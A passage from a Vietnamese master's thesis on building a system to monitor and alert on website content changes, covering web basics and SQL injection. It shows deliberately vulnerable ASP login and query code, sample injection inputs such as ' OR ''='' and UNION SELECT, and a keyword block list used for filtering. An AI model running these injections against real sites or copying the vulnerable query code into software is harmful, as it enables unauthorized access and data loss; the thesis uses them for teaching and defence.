Tải bản đầy đủ (.docx) (69 trang)

Xây dựng hệ thống giám sát và cảnh báo sự thay đổi nội dung trang web

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (1.17 MB, 69 trang )

ĐẠI HỌC QUỐC GIA HÀ NỘI
TRƯỜNG ĐẠI HỌC CÔNG NGHỆ

Nguyễn Ngọc Khánh

XÂY DỰNG HỆ THỐNG GIÁM SÁT VÀ CẢNH BÁO
SỰ THAY ĐỔI NỘI DUNG TRANG WEB

LUẬN VĂN THẠC SĨ

Hà Nội – 2018


XÂY DỰNG HỆ THỐNG GIÁM SÁT VÀ CẢNH BÁO SỰ THAY ĐỔI NỘI DUNG TRANG WEB

ĐẠI HỌC QUỐC GIA HÀ NỘI
TRƯỜNG ĐẠI HỌC CÔNG NGHỆ

NGUYỄN NGỌC KHÁNH

XÂY DỰNG HỆ THỐNG GIÁM SÁT VÀ CẢNH BÁO
SỰ THAY ĐỔI NỘI DUNG TRANG WEB

Ngành: Công nghệ thông tin
Chuyên ngành: Kỹ thuật Phần mềm
Mã số: 60480103

LUẬN VĂN THẠC SĨ CÔNG NGHỆ THÔNG TIN
Hướng dẫn khoa học: Tiến sĩ Lê Quang Minh

Hà Nội – 2018



2


XÂY DỰNG HỆ THỐNG GIÁM SÁT VÀ CẢNH BÁO SỰ THAY ĐỔI NỘI DUNG TRANG WEB

LỜI CAM ĐOAN
Tôi xin cam đoan đây là cơng trình nghiên cứu khoa học độc lập của riêng
tơi. Các số liệu sử dụng phân tích trong luận văn có nguồn gốc rõ ràng, đã cơng
bố theo đúng quy định. Các kết quả trong luận văn do tơi tự tìm hiểu, phân tích
một cách trung thực, khách quan và phù hợp với thực. Các kết quả này chưa
từng được công bố trong bất kỳ nghiên cứu nào khác.
Tơi xin hồn tồn chịu trách nhiệm với lời cam đoan của mình.
HỌC VIÊN

Nguyễn Ngọc Khánh

3


XÂY DỰNG HỆ THỐNG GIÁM SÁT VÀ CẢNH BÁO SỰ THAY ĐỔI NỘI DUNG TRANG WEB

LỜI CẢM ƠN
Em xin chân thành cảm ơn Khoa Công nghệ thông tin trường Đại học Công
nghệ, Đại học Quốc gia Hà Nội đã tạo điều kiện thuận lợi cho em học tập và
thực hiện luận văn tốt nghiệp này.
Em xin bày tỏ lòng biết ơn sâu sắc đến thầy Lê Quang Minh đã tận tình
hướng dẫn, chỉ bảo em trong quá trình thực hiện luận văn này.
Em xin chân thành cảm ơn quý thầy cơ trong Khoa Cơng nghệ thơng tin đã
tận tình giảng dạy, trang bị cho em những kiến thức quý báu trong những năm

học vừa qua.
Mặc dù đã cố gắng hoàn thành luận văn trong phạm vi và khả năng cho
phép nhưng chắc chắn sẽ khơng tránh khỏi những thiếu sót. Em rất mong nhận
được sự góp ý, tận tình chỉ bảo của quý thầy cô.
HỌC VIÊN

Nguyễn Ngọc Khánh

4


XÂY DỰNG HỆ THỐNG GIÁM SÁT VÀ CẢNH BÁO SỰ THAY ĐỔI NỘI DUNG TRANG WEB

MỤC LỤC

5


XÂY DỰNG HỆ THỐNG GIÁM SÁT VÀ CẢNH BÁO SỰ THAY ĐỔI NỘI DUNG TRANG WEB

DANH MỤC HÌNH ẢNH

6


XÂY DỰNG HỆ THỐNG GIÁM SÁT VÀ CẢNH BÁO SỰ THAY ĐỔI NỘI DUNG TRANG WEB

DANH MỤC BẢNG

7



XÂY DỰNG HỆ THỐNG GIÁM SÁT VÀ CẢNH BÁO SỰ THAY ĐỔI NỘI DUNG TRANG WEB

LỜI MỞ ĐẦU
1. Lý do chọn đề tài
Hiện nay, công nghệ thông tin ngày càng phát triển, kéo theo đó là sự phát
triển của mạng máy tính và đặc biệt là internet ngày càng đa dạng và phong phú.
Trên mạng Internet, các tiện ích và dịch vụ đã thâm nhập vào hầu hết các
lĩnh vực trong đời sống xã hội. Các tiện ích và dịch vụ đó hầu hết đều rất đa
dạng về nội dung và hình thức, chứa đựng rất nhiều thơng tin, trong đó khơng ít
thơng tin cần được bảo mật cao bởi tính kinh tế, tính chính xác và tính tin cậy
của nó.
Cùng với sự đa dạng và phong phú đó, các hình thức tấn cơng và phá hoại
mạng cũng ngày càng trở lên tinh vi và phức tạp. Từ thực tế đó, với những
người quản trị mạng hệ thống, nhiệm vụ đảm bảo an toàn hệ thống là hết sức
quan trọng và cần thiết. Xuất phát từ thực tế đó, đề tài sẽ tìm hiểu về một số kiểu
tấn cơng phổ biến hiện nay và cách phòng chống các loại tấn cơng đó.
Thơng qua việc nghiên cứu một số phương pháp tấn cơng và cách bảo mật
các loại tấn cơng đó, tơi mong muốn góp một phần nhỏ vào việc nghiên cứu và
tìm hiểu về các vấn đề phát hiện tấn công làm thay đổi nội dung trang web và
đưa ra cảnh báo sớm có ý nghĩa giúp cho việc duy trì các trang web trên hệ
thống máy chủ được ổn định.
2. Mục tiêu
Mục tiêu của luận văn là nghiên cứu, tìm hiểu tổng quan về website, các
mối đe dọa về an tồn thơng tin khi làm việc trên ứng dụng web, hiểu thêm về
các kỹ thuật tấn công và bảo mật website. Từ đó có sự đánh giá một cách tổng
quan, để áp dụng các chính sách về bảo mật website và an toàn dữ liệu cho hệ
thống. Đồng thời xây dựng và phát triển hệ thống phát hiện sớm các tấn công
làm thay đổi nội dung trang web từ đó đưa ra các cảnh báo sớm giúp cho người


8


XÂY DỰNG HỆ THỐNG GIÁM SÁT VÀ CẢNH BÁO SỰ THAY ĐỔI NỘI DUNG TRANG WEB

quản trị web biết được có sự thay đổi bất thường và đưa ra các biện pháp làm
cho hệ thống bảo mật tốt hơn.
3. Bố cục luận văn:
Chương 1: Tổng quan về website.
Trong chương 1 luận văn nêu lên một số các khái niệm cơ bản về web, thực
trạng an ninh Web trên thế giới và tại Việt Nam, một số lỗ hổng an ninh trên
Website, một số điểm yếu bảo mật và kỹ thuật tấn công Website.
Chương 2: Tấn công thay đổi nội dung và một số thuật toán phát hiện sự
thay đổi
Trong chương 2 luận văn nêu khái niệm tấn công thay đổi nội dung,
nguyên nhân và cách khắc phục cùng với một số thuật tốn phát hiện sự thay đổi
đó.
Chương 3: Xây dựng hệ thống giám sát và cảnh báo sự thay đổi nội dung
nội dung trang web.
Trong chương này, dựa trên những kiến thức ở chương 1 và chương 2, tác
giả đã mô tả các bước để xây dựng hệ thống giám sát những thay đổi về nội
dung trang web và đưa ra cảnh báo kịp thời khi phát hiện có sự thay đổi.

9


XÂY DỰNG HỆ THỐNG GIÁM SÁT VÀ CẢNH BÁO SỰ THAY ĐỔI NỘI DUNG TRANG WEB

CHƯƠNG 1: CÔNG NGHỆ WEB VÀ MỘT SỐ VẤN ĐỀ AN NINH

1.1. Tổng quan về Website
1.1.1. Khái niệm Web
Web là viết tắt của World Wide Web, là mạng lưới tồn cầu mà mọi người
có thể truy cập (đọc và viết) qua máy tính hoặc các thiết bị kết nối với mạng
Internet. Thuật ngữ này thường được hiểu nhầm là từ đồng nghĩa với chính thuật
ngữ Internet, nhưng thực ra web chỉ là một trong các dịch vụ chạy trên Internet
(Theo wikipedia.org).
Các dữ liêu trang web được lưu trữ trong hệ thống các siêu máy chủ nối
mạng Internet. Để xem được các trang web, người dùng cần sử dụng một
chương trình được chuyên cho việc này gọi là trình duyệt web. Chương trình sẽ
nhận dữ liệu là những đường dẫn hay còn gọi là địa chỉ URL, sau đó trình duyệt
sẽ gửi những thơng tin u cầu đến máy chủ theo địa chỉ đó và hiển thị những
kết quả nhận được lên màn hình máy tính của người dùng. Ngồi ra, trong mỗi
trang web đều có các liên kết siêu văn bản (hyperlink), người sử dụng có thể kết
nối với các tài liệu hoặc các trang web khác theo những liên kết đó, hoạt động
này được gọi là duyệt web
1.1.2. Hoạt động của Web
Thơng qua trình duyệt, người và máy chủ sẽ kết nối với nhau bằng địa chỉ
URL. Tùy theo những yêu cầu khác nhau, ứng dụng web sẽ gửi những yêu cầu
đó đến máy chủ, máy chủ sẽ xử lý và gửi dữ liệu về trình duyệt, sau đó người
dùng sẽ nhận được những thơng tin hiển thị trên trình duyệt.
- Website tĩnh là website mà người quản trị, hay người sử dụng không thể
tùy ý thay đổi nội dung và hình ảnh, muốn thay đổi cần có kiến thức về HTML
cơ bản để sửa trực tiếp trong mã nguồn vì chúng được viết hoàn toàn dựa trên
nền tảng HTML, CSS.

10


XÂY DỰNG HỆ THỐNG GIÁM SÁT VÀ CẢNH BÁO SỰ THAY ĐỔI NỘI DUNG TRANG WEB


- Website động là website được xây dựng kèm theo một bộ công cụ để
người quản trị có thể tùy biến nội dung dành cho người quản trị có thể dễ dàng
thay đổi nội dung, hình ảnh. Website động thường được thiết kế bưởi những
người lập trình với các cơng nghệ, ngơn ngữ như PHP, ASP.NET, Java,...
1.1.3. Trình duyệt Web
Như đã nêu, trình duyệt Web là phần mềm cho phép người dùng truy cập
các trang web, tương tác với nội dung các trang web như văn bản, hình ảnh,
đoạn phim, nhạc, trị chơi và các thơng tin khác. Trong một trang web có thể
chứa những liên kết tới những nội dung khác hoặc những trang web khác. Để
hiển thị nội dung web, các trang web phải được định dạng dưới dạng HTML.
Trình duyệt web và máy chủ web thường giao tiếp với nhau bằng việc sử
dụng giao thức HTTP để truyền thông tin trang web. HTTP được sử dụng rộng
rãi nhất là HTTP/1.1. Các trang được định vị bằng cách thức của một URL (bộ
định vị tài nguyên chung), được coi như là một địa chỉ, bắt đầu bằng cụm http:
để truy cập HTTP.
Định dạng của một trang web thường là file HTML (ngôn ngữ đánh dấu
siêu văn bản), sử dụng giao thức HTTP và sử dụng kiểu nội dung MIME. Hầu
hết các trình duyệt đều hỗ trợ nhiều định dạng file khác ngoài HTML, như các
định dạng ảnh JPEG, GIF, PNG, PDF... ngoài ra nếu sử dụng các plug-in, các
định dạng có thể mở rộng để hỗ trợ nhiều hơn.
Một số trình duyệt web phổ biến hiện nay bao gồm Internet Explorer,
Mozilla Firefox, Safari, Google Chrome, Opera,…
1.1.4. Địa chỉ URL
URL là viết tắt của Uniform Resource Locator (dịch là Định vị Tài nguyên
thống nhất), URL dùng trong Internet và để tham chiếu tới tài nguyên nào đó, nó
mang lại khả năng liên kết cho các trang mạng. Các tài nguyên nhau sử dụng địa

11



XÂY DỰNG HỆ THỐNG GIÁM SÁT VÀ CẢNH BÁO SỰ THAY ĐỔI NỘI DUNG TRANG WEB

chỉ để tham chiếu, đó là URL, còn tên gọi nữa là địa chỉ mạng, liên kết mạng
hay gọn là liên kết.
Mỗi URL là một dạng của ULI, và chúng đều tuân theo tiêu chuẩn cú pháp,
gồm có nhiều phần được liệt kê dưới đây:
- URI scheme hay phương pháp truy cập thường là tên giao thức (ví dụ:
http, ftp) nhưng cũng có thể là một cái tên khác (ví du: news, mailto).
- Tên máy chủ (ví dụ: vi.wikipedia.org)
- Chỉ định thêm cổng (có thể khơng cần)
- Đường dẫn tuyệt đối của tài ngun (ví dụ: trang/muc)
- Các truy vấn (có thể khơng cần)
- Chỉ định mục con (có thể khơng cần)
Hiện nay trên thế giới mỗi ngày có rất nhiều tên miền (domain) (thí dụ org)
mới xuất hiện.
1.1.5. HTML
HTML là chữ viết tắt của cụm từ HyperText Markup Language (Ngôn ngữ
đánh dấu siêu văn bản) được sử dụng để tạo một trang web, trên một website có
thể sẽ chứa nhiều trang và mỗi trang được quy ra là một tài liệu HTML. Cha đẻ
của HTML là Tim Berners-Lee, cũng là người khai sinh ra World Wide Web và
chủ tịch của World Wide Web Consortium (W3C – tổ chức thiết lập ra các chuẩn
trên môi trường Internet).
Một tài liệu HTML được hình thành bởi các phần tử HTML (HTML
Elements) được quy định bằng các cặp thẻ (tag), các cặp thẻ này được bao bọc
bởi một dấu ngoặc ngọn (ví dụ <html>) và thường là sẽ được khai báo thành
một cặp, bao gồm thẻ mở và thẻ đóng (ví <strong> dụ </strong> và ). Các văn
bản muốn được đánh dấu bằng HTML sẽ được khai báo bên trong cặp thẻ (ví dụ
<strong>Đây là chữ in đậm</strong>). Nhưng một số thẻ đặc biệt lại khơng có


12


XÂY DỰNG HỆ THỐNG GIÁM SÁT VÀ CẢNH BÁO SỰ THAY ĐỔI NỘI DUNG TRANG WEB

thẻ đóng và dữ liệu được khai báo sẽ nằm trong các thuộc tính (ví dụ như thẻ
<img>).
Một tập tin HTML sẽ bao gồm các phần tử HTML và được lưu lại dưới
đuôi mở rộng là .html hoặc .htm.
Khi một tập tin HTML được hình thành, việc xử lý nó sẽ do trình duyệt
web đảm nhận. Trình duyệt sẽ đóng vai trị đọc hiểu nội dung HTML từ các thẻ
bên trong và sẽ chuyển sang dạng văn bản đã được đánh dấu để đọc, nghe hoặc
hiểu (do các bot máy tính hiểu).
1.1.6. Tên miền
Tên miền là dịch vụ có mục đích chính của là cung cấp một hình thức đại
diện, dùng những tên dễ nhận biết, dễ nhớ thay cho những tài nguyên Internet
mà đa số là những địa chỉ bằng số. Với cách này có thể cho phép bất kỳ tài
nguyên nào nói chung, website nói riêng có thể được di chuyển đến một địa chỉ
vật lý khác trong cấu trúc liên kết địa chỉ mạng, có thể là tồn cầu hoặc chỉ cục
bộ trong một mạng intranet. Việc dịch từ các tên miền sang địa chỉ IP và ngược
lại là do hệ thống DNS trên toàn cầu thực hiện (Theo wikipedia.org).
Với việc sử dụng các địa chỉ dạng chữ cái thay cho các địa chỉ IP, tên miền
cho phép người dùng Internet có thể nhớ dễ dàng và dễ dàng tìm kiếm các trang
web. Ngồi ra, tính uyển chuyển của mình, trong hệ thống tên miền, nhiều địa
chỉ IP có thể cùng được gán cùng vào một tên miền, và ngược lại, nhiều tên
miền đều cùng chỉ đến một địa chỉ IP. Theo quy định, một tên miền chỉ có thể có
tối đa 67 ký tự, các ký tự đó chỉ gồm các chữ cái, chữ số và 1 vài ký tự đặc biệt.
Phân loại theo miền mở rộng, một số tên miền mở rộng thông dụng:
.com: Dùng cho các tổ chức, công ty thương mại.
.net: Dùng cho các tổ chức, công ty về mạng, dịch vụ mạng.

.org: Dùng cho các tổ chức phi lợi nhuận.

13


XÂY DỰNG HỆ THỐNG GIÁM SÁT VÀ CẢNH BÁO SỰ THAY ĐỔI NỘI DUNG TRANG WEB

.gov: Dùng cho các tổ chức chính phủ.
.edu: Dùng cho các tổ chức giáo dục, trường học.
.biz: Dùng cho các công ty thương mại trực tuyến.
1.2. Tổng quan về Webserver
Webserver (máy chủ web) là từ được dùng để chỉ phần mềm máy chủ, hoặc
phần cứng dành riêng để chạy các phần mềm trên máy chủ, để từ đó có thể cung
cấp các dịch vụ World Wide Web. Một máy chủ web xử lí các yêu cầu (request)
từ các client (trong mơ hình server - client) thông qua giao thức HTTP và một số
giao thức liên quan khác.
Chức năng cơ bản nhất của máy chủ web là lưu trữ, xử lí và phân phối nội
dung các trang web đến khách hàng, cụ thể ở đây là máy tính người dùng, hay
cịn gọi là client trong mơ hình server-client. Giao tiếp giữa của máy tính người
dùng và máy chủ thực hiện thông qua giao thức HTTP. Nội dung phân phối
chính từ máy chủ web là các nội dung định dạng HTML, bao gồm hình ảnh,
style sheets, các đoạn mã script hỗ trợ các nội dung văn bản thơ.
Một số Webserver thơng dụng hiện nay:

Hình 1. Một số Webserver thông dụng

14


XÂY DỰNG HỆ THỐNG GIÁM SÁT VÀ CẢNH BÁO SỰ THAY ĐỔI NỘI DUNG TRANG WEB


Trước đây, trong những ngày đầu phát triển, có rất nhiều ngơn ngữ lập trình
cho website như JSP, ASP, PHP, ASP.NET... tuy nhiên với những ưu thế vượt
trội, hiện tại có hai ngơn ngữ được dùng phổ biến nhất là PHP và ASP.NET.
1.3. Tổng quan về an ninh mạng
1.3.1. Khái niệm về an toàn và an ninh mạng
Trước đây, nói đến an ninh thơng tin người ta thường nói đến các biện pháp
bảo mật vật lý sử dụng để bảo vệ cho những thông tin quan trọng khỏi bị truy
cập trái phép và để bảo vệ nó chống lại thay đổi hoặc tiêu hủy. Các biện pháp
như lưu trữ tài liệu có giá trị trong kết sắt hoặc ở những nơi an toàn à hạn chế
việc truy cập vật lý đến các tài liệu đó. Ngày nay, với sự phát triển của CNTT, sự
phổ biến của máy tính và internet, cách truy cập dữ liệu đã thay đổi, các phương
pháp bảo vệ dữ liệu đã thay đổi đáng kể.
Với một chiếc máy tính thường chỉ u cầu các cơng bảo vệ dữ liệu trên
máy tính đó như phần mềm diệt virus hay phần quyền truy cập hệ thống của
người dùng, nhưng với một hệ thống máy tính nối mạng thì cần địi hỏi nhiều
hơn, ví dụ như dữ liệu vào hệ thống đó được bảo vệ khơng chỉ từ truy cập địa
phương mà cịn từ các truy cập từ xa trái phép và cần phát hiện và ngăn chặn các
thay đổi dữ liệu trong quá trình truyền giữa các hệ thống. An ninh mạng ở dây
khơng phải là một quy trình, sản phẩm, hay chính sách mà là sự kết hợp của các
sản phẩm và quy trình có hỗ trợ một chính sách quy định.
1.3.2. Sự cần thiết phải bảo vệ thông tin
Trong thời đại công nghệ thông tin, bất cứ doanh nghiệp hay tổ chức nào
cũng có các yếu tố quan trong, cần được bảo vệ như:
- Tài nguyên: con người, hệ thống và đường truyền.
- Dữ liệu.
- Danh tiếng của công ty.

15



XÂY DỰNG HỆ THỐNG GIÁM SÁT VÀ CẢNH BÁO SỰ THAY ĐỔI NỘI DUNG TRANG WEB

Nếu không thực sự xác định được tầm quan trọng của vấn đề an toàn thơng
tin thì khi gặp phải sự cố, tác hại đến doanh nghiệp khơng nhỏ:
- Tốn kém chi phí.
- Tốn kém thời gian.
- Ảnh hưởng đến tài nguyên hệ thống.
- Ảnh hưởng đến danh dự, uy tín của doanh nghiệp.
- Mất cơ hội kinh doanh.
1.4. Một số lỗ hổng an ninh trên Website
Các lỗ hổng bảo mật có trên một hệ thống là các điểm yếu mà dựa vào đó,
kẻ tấn cơng có thể tấn cơng hệ thống, thêm quyền hoặc cho phép các truy nhập
không hợp pháp vào hệ thống. Các lỗ hổng bảo mật có thể ở nhiều nơi trong hệ
thống, có thể ở ngay trong các dịch vụ, tiện ích như web, mail, file... hoặc ở
ngay trong các ứng dụng, ngay trên hệ điều hành.
Có nhiều tổ chức khác nhau đã tiến hành phân loại các dạng lỗ hổng. Bộ
quốc phòng Mỹ đã nghiên cứu và phân loại các lỗ hổng bảo mật trên hệ thống
thành các loại:
- Lỗ hổng loại C: các lỗ hổng loại này cho phép thực hiện các phương thức
tấn công từ chối dịch vụ theo (DoS - Dinal of Services). Loại lỗ hổng này có
mức độ nguy hiểm thuộc loại thập, đa phần chỉ ảnh hưởng đến tốc độ và chất
lượng của dịch vụ, nặng hơn có thể làm gián đoạn hoạt động của hệ thống,
nhưng không gây mất, hỏng dữ liệu hay chiếm quyền tuy cập bất hợp pháp
- Lổ hổng loại B: các lỗ hổng loại này có thể gây ra hiện tượng người sử
dụng có thêm các quyền bất hợp pháp không cần kiểm tra hợp lệ.
Các lỗ hổng cho phép người sử dụng hệ thống có thêm các quyền trên hệ
thống mà khơng cần thực hiện kiểm tra tính hợp lệ. Loại lỗ hổng này có mức độ
nguy hiểm trung bình, nó có thể dẫn đến mất hoặc lộ thông tin yêu cầu bảo mật.


16


XÂY DỰNG HỆ THỐNG GIÁM SÁT VÀ CẢNH BÁO SỰ THAY ĐỔI NỘI DUNG TRANG WEB

- Lỗ hổng loại A: Các lỗ hổng loại này cho phép người sử dụng ở ngồi có
thể truy nhập vào hệ thống bất hợp pháp, có thể thay đổi, xóa hoặc làm phá hủy
tồn bộ hệ thống.
1.5. Một số điểm yếu bảo mật và kỹ thuật tấn công Website
1.5.1. Tấn công SQL Injection
1.5.1.1. SQL Injection là gì
Khi thiết kế và triển khai hệ thống website trên Internet, nhiều khi người
lập trình vẫn nghĩ rằng bảo đảm an ninh và bảo mật để giảm thiểu khả năng tấn
công của hacker là các vấn đề như: như chọn hệ điều hành, quản lý cơ sở dữ
liệu, máy chủ web sẽ chạy ứng dụng... nhưng ngay cả bản thân website đó cũng
có thể có một lỗ hổng bảo mật lớn. Một trong những lỗ hổng này là SQL
Injection.
SQL injection có thể hiểu là một cách tấn cơng, khi đó những kẻ tấn cơng
lợi dụng lỗ hổng khi xử lý dữ liệu nhập trong các trang web để "tiêm vào"
(inject) các câu lênh SQL bất hợp pháp và thi hành các câu lệnh đó.
Hậu quả của việc này thường rất nghiêm trọng vì những kẻ tấn cơng có thể
dựa vào đó thực hiện các câu lệnh thêm, sửa, xóa... trên cơ sở dữ liệu (Lê Đình
Duy, 2003)
.

17


XÂY DỰNG HỆ THỐNG GIÁM SÁT VÀ CẢNH BÁO SỰ THAY ĐỔI NỘI DUNG TRANG WEB


Hình 2. Mơ hình tấn công SQL Injection
1.5.1.2. Các dạng tấn công bằng SQL Injection
SQL Injection có 4 dạng tấn cơng thường gặp, đó là: sử dụng câu lệnh
INSERT, sử dụng câu lệnh SELECT, vượt qua kiểm tra lúc đăng nhập, sử dụng
các stored-procedures.
+ Dạng tấn công vượt qua kiểm tra đăng nhập:
Đây là dạng tấn cơng mà tin tặc có thể vượt qua các trang đăng nhập, làm
được điều này nhờ vào việc khai thác lỗi khi dùng các câu lệnh SQL thao tác
trên cơ sở dữ liệu của ứng dụng web.
Một ví dụ điển hình, thơng thường khi cho phép người dùng truy cập vào
các trang web được bảo mật, một hệ thống thường xây dựng trang đăng nhập để
yêu cầu người dùng nhập thông tin về tên đăng nhập và mật khẩu. Sau khi người
dùng nhập thông tin, hệ thống sẽ tiến hành kiểm tra tên đăng nhập cùng với mật
khẩu có hợp lệ hay không để quyết định cho phép thực hiện tiếp hay khơng.
Trong trường hợp này, người ta có thể dùng hai trang, một trang HTML để hiển
thị form nhập liệu và một trang ASP dùng để xử lí thơng tin nhập từ phía người
dùng.
18


XÂY DỰNG HỆ THỐNG GIÁM SÁT VÀ CẢNH BÁO SỰ THAY ĐỔI NỘI DUNG TRANG WEB

Ví dụ:
CODE
<form action="ExecLogin.asp" method="post">
Username: <input type="text" name="fUSRNAME">

Password: <input type="password" name="fPASSWORD">

<input type="submit">
</form>
CODE

<%
Dim vUsrName, vPassword, objRS, strSQL
vUsrName = Request.Form("fUSRNAME")
vPassword = Request.Form("fPASSWORD")
strSQL = "SELECT * FROM T_USERS " & _
"WHERE USR_NAME=' " & vUsrName & _
" ' and USR_PASSWORD=' " & vPassword & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " & objRS("USR_NAME")
End If Set objRS = Nothing %>
Thoạt nhìn, đoạn mã dường như khơng chứa bất cứ một lỗ hổng về an tồn
nào. Người dùng khơng thể đăng nhập mà khơng có tên đăng nhập và mật khẩu
hợp lệ. Tuy nhiên, đoạn mã này thực sự không an toàn và là tiền đề cho một lỗi
SQL injection. Chính điều này đã cho phép những kẻ tấn cơng có thể điều khiển
câu truy vấn tiếp theo sẽ được thực hiện. Ví dụ, nếu nhập chuỗi sau vào trong ô
nhập liệu username và password của trang login.htm là:
' OR ' ' = ' '. Lúc này, câu truy vấn sẽ được gọi thực hiện là:
SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and

19


XÂY DỰNG HỆ THỐNG GIÁM SÁT VÀ CẢNH BÁO SỰ THAY ĐỔI NỘI DUNG TRANG WEB

USR_PASSWORD= '' OR ''=''
Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của T_USERS và

đoạn mã tiếp theo xử lí người dùng đăng nhập bất hợp pháp này như là người
dùng đăng nhập hợp lệ.
+ Dạng tấn công sử dụng câu lệnh SELECT:
Đây là dạng tấn công phức tạp, kẻ tấn cơng thường có kiến thức về cơ sở
dữ liệu và có khả năng tìm ra các sơ hở trong thơng báo lỗi của hệ thống, từ đó
làm tiền đề để tấn cơng. Xét một ví dụ rất thường gặp trong các website về tin
tức. Thông thường, sẽ có một trang nhận ID của tin cần hiển thị rồi sau đó truy
vấn nội dung của tin có ID này. Mã nguồn cho chức năng này thường được viết
khá đơn giản theo dạng.
CODE
<%
Dim vNewsID, objRS, strSQL
vNewsID = Request("ID")
strSQL = "SELECT * FROM TNEWS WHERE NEWS_ID =" &
vNewsID 3
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
Set objRS = Nothing
%>
Trong các tình huống thông thường, đoạn mã này hiển thị nội dung của tin
có ID trùng với ID đã chỉ định và hầu như khơng thấy có lỗi. Tuy nhiên, giống
như ví dụ đăng nhập ở trước, đoạn mã này để lộ sơ hở cho một lỗi SQL injection
khác.
Kẻ tấn cơng có thể thay thế ID mặc định bằng cách gán một giá trị khác
cho ID đó, đó là cách khởi đầu cuộc tấn cơng, ví dụ như: abc OR 1=1, câu lệnh
truy vấn SQL lúc này sẽ là câu lệnh tìm kiếm tất cả từ bảng dữ liệu vì nó sẽ có
dạng:
20



XÂY DỰNG HỆ THỐNG GIÁM SÁT VÀ CẢNH BÁO SỰ THAY ĐỔI NỘI DUNG TRANG WEB

SELECT * FROM T_NEWS WHERE NEWS_ID=abc or 1=1
Một trường hợp khác, ví dụ như trang tìm kiếm, đây là trang cho phép
người dùng tìm kiếm các thơng tin như họ, tên, ngày sinh..., ví dụ:
CODE
<%
Dim vAuthorName, objRS, strSQL
vAuthorName = Request("fAUTHOR_NAME")
strSQL = "SELECT * FROM TAUTHORS WHERE
AUTHOR_NAME =' " & _
vAuthorName & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."

Set objRS = Nothing
%>
Nếu trang tìm kiếm sử dụng đoạn mã trên, kẻ tấn cơng có thể tìm ra sơ hở
và nhập vào ơ tên giá trị:
' UNION SELECT ALL SELECT OtherField FROM OtherTable
WHERE ' '='
Lúc này, ngồi câu truy vấn đầu khơng thành cơng, chương trình sẽ thực
hiện thêm lệnh tiếp theo sau từ khóa UNION nữa. Tất nhiên các ví dụ nói trên,
dường như khơng có gì nguy hiểm, nhưng kẻ tấn cơng có thể xóa tồn bộ cơ sở
dữ liệu bằng cách chèn vào các đoạn lệnh nguy hiểm như lệnh DROP TABLE.
+ Dạng tấn công sử dụng câu lệnh INSERT:
Các ứng dụng trên web muốn lưu thơng tin người sử dụng thường có chức
năng tạo tài khoảng cho người dùng, người dùng có thể đăng ký thông tin khi
tạo tài khoản hoặc điều chỉnh sau khi đăng ký thành công. Trong những việc
này, kẻ tấn cơng cũng có thể lợi dụng để tấn công SQL injection khi mà hệ thống

bỏ qua việc kiểm tra tính hợp lệ của thơng tin nhập vào. Ví dụ, với một câu lệnh
INSERT có cú pháp: INSERT INTO Table_Name VALUES('V1, 'V2', 'V3').
21


XÂY DỰNG HỆ THỐNG GIÁM SÁT VÀ CẢNH BÁO SỰ THAY ĐỔI NỘI DUNG TRANG WEB

Nếu đoạn mã có dạng:
CODE
<%
strSQL = "INSERT INTO TableName VALUES(' " & strV1
& " ', ' " _ & strV2 & " ', ' " & strV3 & " ') "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."

Set objRS = Nothing
%>
Thì sẽ bị lỗi SQL injection, để chứng minh điề này, trong trường thứ nhất ta
nhập: ' + (SELECT TOP 3 FieldName FROM Table_Name) + '. Khi này máy sẽ
thực hiện câu lệnh truy vấn: INSERT INTO TableName VALUES(' ' + (SELECT
TOP 3 FieldName FROM Table_Name) + ' ', 'aaaa', 'bbbbb'). Kết quả nhận được
ngoài lệnh xem thơng tin, máy cịn thực hiện một lệnh nữa đó là: SELECT TOP
3 FieldName FROM Table_Name.
1.5.1.3. Cách phòng chống tấn cơng SQL
Như vậy, có thể thấy lỗi SQL injection khai thác những bất cẩn của các lập
trình viên phát triển ứng dụng web khi xử lí các dữ liệu nhập vào để xây dựng
câu lệnh SQL. Tác hại từ lỗi SQL injection tùy thuộc vào mơi trường và cách
cấu hình hệ thống. Nếu ứng dụng sử dụng quyền dbo (quyền của người sở hữu
cơ sở dữ liệu - owner) khi thao tác dữ liệu, nó có thể xóa tồn bộ các bảng dữ
liệu, tạo các bảng dữ liệu mới, … Nếu ứng dụng sử dụng quyền sa (quyền quản

trị hệ thống), nó có thể điều khiển tồn bộ hệ quản trị cơ sở dữ liệu và với quyền
hạn rộng lớn như vậy nó có thể tạo ra các tài khoản người dùng bất hợp pháp để
điều khiển hệ thống của bạn. Để phịng tránh, ta có thể thực hiện ở hai mức:
- Kiểm soát chặt chẽ dữ liệu nhập vào.

22


XÂY DỰNG HỆ THỐNG GIÁM SÁT VÀ CẢNH BÁO SỰ THAY ĐỔI NỘI DUNG TRANG WEB

Chúng ta có thể kiểm soát chặt chẽ dữ liệu nhập vào bằng cách bảo vệ các
câu lệnh SQL như kiểm soát chặt chẽ tất cả các dữ liệu nhập nhận được từ các
đối

tượng

Request

(Request,

Request.QueryString,

Request.Cookies,

Request.Form, Request.ServerVariables). Ví dụ, ta có thể giới hạn chiều dài của
chuỗi nhập liệu, hoặc xây dựng hàm EscapeQuotes để thay thế các dấu nháy đơn
bằng 2 dấu nháy đơn như:
CODE
<%
Function EscapeQuotes(sInput)

sInput = replace(sInput, " ' ", " ' ' ")
EscapeQuotes = sInput
End Function
%>
Trong trường hợp dữ liệu nhập vào là số, lỗi xuất phát từ việc thay thế một
giá trị được tiên đoán là dữ liệu số bằng chuỗi chứa câu lệnh SQL bất hợp pháp.
Để tránh điều này, đơn giản hãy kiểm tra dữ liệu có đúng kiểu hay khơng bằng
hàm IsNumeric(). Ngồi ra có thể xây dựng hàm loại bỏ một số kí tự và từ khóa
nguy hiểm như: ;, --, select, insert, xp_, … ra khỏi chuỗi dữ liệu nhập từ phía
người dùng để hạn chế các tấn công dạng này:
CODE
<%
Function KillChars(sInput)
dim badChars
dim newChars
badChars = array("select", "drop", ";", "--", "insert", "delete",
"xp_")
newChars = strInput
for i = 0 to uBound(badChars)
